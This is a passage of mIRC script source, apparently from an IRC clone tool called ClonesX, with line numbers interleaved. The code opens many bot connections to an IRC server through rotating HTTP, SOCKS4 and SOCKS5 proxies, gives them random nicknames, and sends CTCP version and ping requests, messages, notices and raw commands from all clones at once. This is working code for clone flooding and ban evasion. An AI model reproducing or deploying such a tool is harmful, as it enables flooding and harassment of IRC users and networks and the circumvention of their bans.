  if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
  598.
  if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
  599.
  if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
  600.
  if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
  601.
  if ($did == 312) { p.cloning.runcmd $did($dname,329).text }
  602.
  if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
  603.

  604.
  if ($did == 361) { run $did($dname,361).text }
  605.
}
606.
on 1:DIALOG:p.cloning:menu:*: {
  607.
  if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
  608.
  if ($did == 405) { run irc://irc.quakenet.eu.org/script-planet }
  609.
  if ($did == 406) { run irc://irc.quakenet.eu.org/script-planet }
  610.
  if ($did == 407) { run mailto:Xenon@clanboardzone.de?subject=ClonesX }
  611.
  if ($did == 409) { run irc://irc.quakenet.eu.org/script-planet }
  612.
  if ($did == 410) { run irc://irc.quakenet.eu.org/script-planet }
  613.
  if ($did == 412) { p.cloning.ipports }
  614.
  if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
  615.
  if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge el archivo") }
  616.
  if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
  617.
  if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar en...",Guardar) }
  618.
  if ($did == 421) {
    619.
    unset %p.cloning.Nlist.conn*
    620.
    set %p.cloning.Nlist.conn 1
    621.
    if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal File not found! }
    622.
    set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
    623.
    p.cloning.ddnsd
    624.
  }
  625.
  if ($did == 422) {
    626.
    unset %p.cloning.Nlist.conn*
    627.
    set %p.cloning.Nlist.conn 1
    628.
    set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
    629.
    if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd } 
    630.
  }
  631.
  if ($did == 441) { p.cloning.crdts }
  632.
}
633.
alias -l p.cloning.nick.gr.ad {
  634.
  if ($dialog(p.cloning)) {
    635.
    var %i = 1
    636.
    while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
      637.
      var %p.cloning.adgr1.nicks = $ifmatch
      638.
      if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
      639.
      var %i = %i + 1
      640.
    }
    641.
  }
  642.
}
643.
alias -l p.cloning.jj {
  644.
  if ($did(p.cloning,47).text == Normal) { p.clon.do }
  645.
  elseif ($did(p.cloning,47).text == Proxy) {
    646.
    if (!$did(p.cloning,4,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with them. | p.cloning.recr 1 | return }
    647.
    p.clon.do
    648.
  }
  649.
  elseif ($did(p.cloning,47).text == Socks 4) {
    650.
    if (!$did(p.cloning,69,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 4. | p.cloning.recr 1 | return }
    651.
    ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol doesn't admit domain names (ip's only), /dns $did($dname,10).text and apply the result here ;) | return }
    652.
    p.clon.do
    653.
  }
  654.
  elseif ($did(p.cloning,47).text == Socks 5) {
    655.
    if (!$did(p.cloning,78,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 5. | p.cloning.recr 1 | return }
    656.
    ;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol does admit domain names, but in this version of ClonesX it's bot implemented, so, /dns $did($dname,10).text and apply the result here ;) | return }
    657.
    p.clon.do
    658.
  }
  659.
}
660.
alias -l p.clon.dodo {
  661.
  if ($dialog(p.cloning)) && (!$sock($$1)) {
    662.
    p.cloning.do.w $$1 0,0   
    663.
    ;inc %p.cloning.n
    664.
    .sockopen $$1-
    665.
    if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
    666.
    if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
    667.
    if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
    668.
    if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
    669.
    p.clon.stats %p.clon.dodo $did(p.cloning,10)  $did(p.cloning,12)
    670.
  }
  671.
}
672.
alias -l p.clon.do {
  673.
  if ($dialog(p.cloning)) {
    674.
    p.cloning.recr 0
    675.
    var %p.cloning.delay = $did(p.cloning,391).text
    676.
    if ($did(p.cloning,47).text == Normal) {
      677.
      var %i = 1
      678.
      while (%i <= $did(p.cloning,50).text) {
        679.
        inc %p.cloning.t
        680.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10)  $did(p.cloning,12)
        681.
        var %i = %i + 1
        682.
      }   
      683.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      684.
      p.cloning.recr 0
      685.
    }
    686.

    687.
    elseif ($did(p.cloning,47).text == Proxy) {
      688.
      var %i = 1
      689.
      while (%i <= $did(p.cloning,50).text) {
        690.
        if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
        691.
        elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
        692.
        else { p.cloning.fal No hay proxyes. Configúralo. | return }
        693.
        inc %p.cloning.t
        694.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
        695.
        var %i = %i + 1
        696.
      }   
      697.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      698.
      p.cloning.recr 0
      699.
    }
    700.

    701.
    elseif ($did(p.cloning,47).text == Socks 4) {
      702.
      var %i = 1
      703.
      while (%i <= $did(p.cloning,50).text) {
        704.
        if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
        705.
        elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
        706.
        else { p.cloning.fal No hay wingates. Configúralo. | return }
        707.
        inc %p.cloning.t
        708.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
        709.
        var %i = %i + 1
        710.
      }   
      711.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      712.
      p.cloning.recr 0
      713.
    }
    714.

    715.
    elseif ($did(p.cloning,47).text == Socks 5) {
      716.
      var %i = 1
      717.
      while (%i <= $did(p.cloning,50).text) {
        718.
        if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
        719.
        elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
        720.
        else { p.cloning.fal No hay wingates. Configúralo. | return }
        721.
        inc %p.cloning.t
        722.
        .timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
        723.
        var %i = %i + 1
        724.
      }   
      725.
      .timerP.cloning.Recr. [ $+ [ $rand(1,9999) ]  ]  1 $calc(%i * %p.cloning.delay) p.cloning.recr 1 
      726.
      p.cloning.recr 0
      727.
    }
    728.
  }
  729.
}
730.
alias -l p.cloning.recr {
  731.
  if ($dialog(p.cloning)) {
    732.
    if ($$1 == 0) {
      733.
      did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
      734.
      did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
      735.
    }
    736.
    if ($$1 == 1) {
      737.
      did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
      738.
      did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
      739.
      if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) &&  ($abs($did(p.cloning,50)) != 0) {
        740.
        if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
        741.
        elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
        742.
      }
      743.
    }
    744.
  }
  745.
}
746.
alias -l p.clon.stats {
  747.
  if ($dialog(p.cloning)) {
    748.
    ;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
    749.
    ;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
    750.
    did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
    751.
    did -o p.cloning 90 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
    752.
    did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
    753.
    did -o p.cloning 93 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
    754.
    ;echo -s DEBUG:  Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-)  y Sockets:  $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
    755.
    ;did -o p.cloning 43 1 %p.cloning.n
    756.
    if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
    757.
  }
  758.
}
759.
on 1:DIALOG:p.cloning:init:0: {
  760.
  .disable #p.cloning.DdnsD
  761.
  did -c $dname 31
  762.
  ;.remove CloneX.ini | .remove CloneXo.ini
  763.
  if ($hget(p.cloning.a)) { hfree p.cloning.a }
  764.
  unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
  765.
  did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
  766.
  if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
  767.
  did -c $dname 35 | did -i $dname 37 1 Aleatory | did -i $dname 37 2 Lemming | did -i $dname 37 3 Smurf | did -c $dname 37 1
  768.
  did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
  769.
  var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
  770.
  var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
  771.
  did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
  772.
  p.cloning.conEcheck
  773.
  if ($file(kick.reasons) != $null) {
    774.
    loadbuf -o $dname 23 kick.reasons
    775.
    did -z $dname 23
    776.
  }
  777.
  if ($file(topic.proxy) != $null) {
    778.
    loadbuf -o $dname 91 topic.proxy
    779.
    did -z $dname 91
    780.
  }
  781.
  if ($file(protected.tags) != $null) {
    782.
    loadbuf -o $dname 51 protected.tags
    783.
    did -z $dname 51
    784.
  }
  785.
  if ($file(protected.nicks) != $null) {
    786.
    loadbuf -o $dname 27 protected.nicks
    787.
    did -z $dname 27
    788.
  }
  789.
  if ($file(proxy.perform) != $null) {
    790.
    loadbuf -o $dname 33 proxy.perform
    791.
  }
  792.
}
793.
on 1:SOCKREAD:p.cloning.*: {
  794.
  if ($dialog(p.cloning)) {
    795.
    var %p.cloning.server = $did(p.cloning,10)
    796.
    var %p.cloning.port = $did(p.cloning,12)
    797.
    if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
    798.
    else {
      799.

      800.
      if ($did(p.cloning,47).text == Socks 4) {
        801.
        if ($sock($sockname).mark != 1) {
          802.
          sockread &p.cloning.bread
          803.
          if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
          804.
          if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
          805.
        }
        806.
      }
      807.
      if ($did(p.cloning,47).text == Socks 5) {
        808.
        if ($sock($sockname).mark != 1) {
          809.
          sockread &p.cloning.bread
          810.
          ;echo -s bvar: $bvar(&p.cloning.bread,1,10)
          811.
          if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
            812.
            ;echo -s Protocolo Aceptado. Iniciando conexion.
            813.
            var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
            814.
            var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
            815.
            bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
            816.
            sockwrite $sockname &p.cloning.ssenndd
            817.
            ;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
            818.
          }
          819.
          if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          820.
          if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
          821.
          if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          822.
          if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          823.
          if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
          824.
        }
        825.
      }
      826.
      sockread %p.cloning.read
      827.
      var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
      828.
      var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
      829.
      var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
      830.
      ;echo -s Rd: %p.cloning.read
      831.
      if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
        832.
        if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds }     
        833.
        if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
        834.
      }   
      835.
      elseif (!$abs(%p.cloning.sec2)) {
        836.
        if (%p.cloning.sec2 == NICK) {
          837.
          if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
            838.
            var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
            839.
            var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
            840.
            if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
            841.
            if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }   
            842.
            if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }             
            843.
            p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
            844.
            p.cloning.nicks.act
            845.
          }
          846.
        }
        847.
      }
      848.
      if (%p.cloning.sec2 == 001 && $did(p.cloning,31).state == 1) {
        849.
        var %x = 1
        850.
        while ($did(p.cloning,33,%x) != $null) {
          851.
          sockwrite -n $sockname $replace($did(p.cloning,33,%x),<nick>,$gettok(%p.cloning.read,2,44))
          852.
          inc %x
          853.
        }
        854.
      }
      855.
      if (%p.cloning.sec1 == PING) {
        856.
        sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
        857.
      }
      858.
    }
    859.
  }
  860.
}
861.
alias -l p.cloning.con.com {
  862.
  ;p.cloning.do.rw.o $$1
  863.
  ;p.cloning.do.rw $$1
  864.
  if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
  865.
}
866.

867.
on 1:SOCKOPEN:p.cloning.*: {
  868.
  if ($dialog(p.cloning)) {
    869.
    var %p.cloning.server = $did(p.cloning,10)
    870.
    var %p.cloning.port = $did(p.cloning,12)
    871.
    if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
    872.
    else {
      873.
      ;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
      874.
      if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
      875.
      elseif ($did(p.cloning,47).text == Proxy) {
        876.
        sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
        877.
        sockwrite $sockname $CRLF
        878.
        .timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
        879.
      }
      880.
      elseif ($did(p.cloning,47).text == Socks 4) {
        881.
        var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
        882.
        var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
        883.
        var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
        884.
        var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
        885.

        886.
        ;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF       
        887.
        bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
        888.
        sockwrite $sockname &p.cloning.ssenndd
        889.
        ;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
        890.
      }
      891.
      elseif ($did(p.cloning,47).text == Socks 5) {
        892.
        bset &p.cloning.ssenndd 1 5 1 0
        893.
        ; -t?       
        894.
        sockwrite $sockname &p.cloning.ssenndd
        895.
      }
      896.

      897.
    }
    898.

    899.
  }
  900.
}
901.

902.

903.
alias -l p.cloning.cmds {
  904.
  if ($dialog(p.cloning)) { 
    905.
    p.cloning.nicks.act
    906.
    if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
      907.
      did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
      908.
      did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 |  did -e p.cloning 328
      909.
      did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
      910.
      did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
      911.
      did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
      912.
      did -e p.cloning 367 | did -e p.cloning 351 |  did -e p.cloning 350 |  did -e p.cloning 349 | did -e p.cloning 371
      913.
      did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
      914.
    }
    915.
    else {
      916.
      if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
        917.
        did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
        918.
        did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
        919.
        did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
        920.
        did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 |  did -b p.cloning 312
        921.
        did -b p.cloning 308 | did -b p.cloning 309  | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
        922.
        did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
        923.
        did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 |  did -b p.cloning 328
        924.
        did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
        925.
        did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
        926.
        did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
        927.
        did -b p.cloning 367 | did -b p.cloning 351 |  did -b p.cloning 350 |  did -b p.cloning 349 | did -b p.cloning 371
        928.
        did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
        929.
      }
      930.
    }
    931.
  }
  932.
}
933.
alias -l p.cloning.runcmd {
  934.
  if ($dialog(p.cloning)) {
    935.
    if ($did(p.cloning,334).state == 1) {
      936.
      var %i = 1
      937.
      while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
        938.
        var %p.cloning.runcmd.nick = $ifmatch
        939.
        if ($$1 == nick) {
          940.
          if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }
          941.
          else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))),$$2) }       
          942.
        }
        943.
        elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :LOL CAKES }
        944.
        else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
        945.
        var %i = %i + 1
        946.
      }
      947.
      return
      948.
    }
    949.
    elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
    950.
    elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
    951.
    elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
    952.
    elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
    953.
  }
  954.
  var %i = 1
  955.
  while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
    956.
    var %p.cloning.runcmd.nick = $ifmatch
    957.
    if ($$1 == nick) { 
      958.
      if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
      959.
      else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) $+ $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)) $+ $iif($rand(1,2) == 1, $iif($rand(1,2) == 1, $rand(a,z), $rand(A,Z)), $iif($rand(1,2) == 1, $rand(a,z), $rand(1,9999))) }
      960.
    }
    961.
    elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :BAI }
    962.
    else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
    963.
    var %i = %i + 1
    964.
  }
  965.
}
966.
alias -l p.cloning.list.nicksch {
  967.
  if ($dialog(p.cloning)) {
    968.
    var %i = 1
    969.
    var %o = 1
    970.
    while ($p.cloning.r(%i)) {
      971.
      var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
      972.
      var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
      973.
      if (%p.cloning.list.nicksch.sta) {
        974.
        if ($exists($$1) == $false) { p.cloning.fal Archivo no encontrado! }
        975.
        var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
        976.
        if (%p.cloning.list.nicksch.nnick) {
          977.
          if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick Ident }
          978.
          sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
          979.
        }
        980.
        var %o = %o + 1
        981.
      }
      982.
      var %i = %i + 1
      983.
    }
    984.
  }
  985.
}
986.
alias -l p.cloning.list.save {
  987.
  if ($dialog(p.cloning)) {
    988.
    var %i = 1
    989.
    .remove $$1
    990.
    while ($did(p.cloning,339,%i).text) {
      991.
      write $$1 $ifmatch
      992.
      var %i = %i + 1
      993.
    }
    994.
  }
  995.
}
996.
alias -l p.cloning.nicks.act {
  997.
  if ($dialog(p.cloning)) {
    998.
    did -r p.cloning 339
    999.
    var %i = 1
    1000.
    var %o = 1
    1001.
    while ($p.cloning.r(%i)) {
      1002.
      var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
      1003.
      var %p.cloning.nicks = $gettok($ifmatch,2,44)
      1004.
      if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
      1005.
      var %i = %i + 1
      1006.
    }
    1007.
  }
  1008.
}
1009.
alias -l p.cloning.usIn {
  1010.
  if ($dialog(p.cloning)) {
    1011.
    if (%p.cloning.Nlist.conn == 1) {
      1012.
      inc %p.cloning.Nlist.conn.n
      1013.
      var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
      1014.
      var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
      1015.
      if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
      1016.
